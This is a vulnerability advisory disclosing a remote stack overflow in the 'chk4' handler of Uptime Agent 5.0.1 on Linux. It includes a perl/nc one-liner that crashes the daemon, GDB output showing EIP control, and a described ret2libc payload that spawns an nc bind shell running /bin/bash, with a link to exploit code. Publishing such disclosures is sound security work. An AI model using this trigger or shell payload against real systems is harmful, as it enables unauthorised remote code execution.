security-assessment.com

Vulnerability Advisory

Name	Uptime Agent 5.0.1 Stack Overflow Vulnerability
Vendor Website	http://www.uptimesoftware.com/
Date Released	26/11/2013
Affected Software	Uptime Agent 5.0.1 – Linux i386
Researchers	Denis Andzakovic

Description

A Remote stack overflow vulnerability has been discovered within the Uptime Agent software version 5.0.1. This is the current release of the Uptime Agent for Debian based systems. The stack overflow exists within the Uptime agent daemon when processing the 'chk4' command. This overflow occurs in the child process spawned by the Uptime Daemon whenever a new connection to said Daemon is created.

Exploitation

The following shell one-liner will trigger the stack overflow condition:
$ perl -e 'print "chk4 " . "A"x500 . "\n";' | nc <serverip> <port>
This achieves an EIP overwrite by overflowing the stack, as can be confirmed by the following syslog and GDB screenshots:

```
Sep  4 11:00:50 kali kernel: [ 2529.497401] uptmagnt-daemon[3543]: segfault at 41414141 ip 41414141 sp bfed8af0 error 14
Loaded symbols for /lib/ld-linux.so.2
0xb7789424 in __kernel_vsyscall ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax            0x0      0
ecx            0xffffffff       -1
edx            0xbfed89d0       -1074951728
ebx            0x41414141       1094795585
esp            0xbfed8af0       0xbfed8af0
ebp            0x41414141       0x41414141
esi            0x41414141       1094795585
edi            0x41414141       1094795585
eip            0x41414141       0x41414141
eflags         0x10217  [ CF PF AF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) i s
#0  0x41414141 in ?? ()
#1  0x41414141 in ?? ()
#2  0x41414141 in ?? ()
#3  0x41414141 in ?? ()
#4  0x41414141 in ?? ()
#5  0x41414141 in ?? ()
#6  0x41414141 in ?? ()
#7  0x41414141 in ?? ()
```

Crash analysis has indicated that this vulnerability exists due to the sprintf call within the checkFor function of uptmagnt-d.c.

This vulnerability has been successfully exploited on Debain 7 running kernel 3.2.0. This is achieved using a ret2libc ROP chain to syscall execve with the argument '/bin/nc –lp4444 –e/bin/bash', creating a bind shell on the vulnerable host. ASLR is being subverted by bruteforcing the libc offset. The exploit code can be found at:

http://www.security-assessment.com/files/documents/advisory/UptimeAgent_5.0.1_execve_brute.py

Timeline

03/09/2013 – Vendor contacted with advisory.
13/09/2013 – Vendor replied advising the document has been passed over to the head of development. Vendor advised "As a policy to protect our customers, we do not discuss any vulnerabilities with outside companies."
28/11/2013 – Advisory release.

Solution

No official solution is currently present for this vulnerability.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com
Phone +64 4 460 2596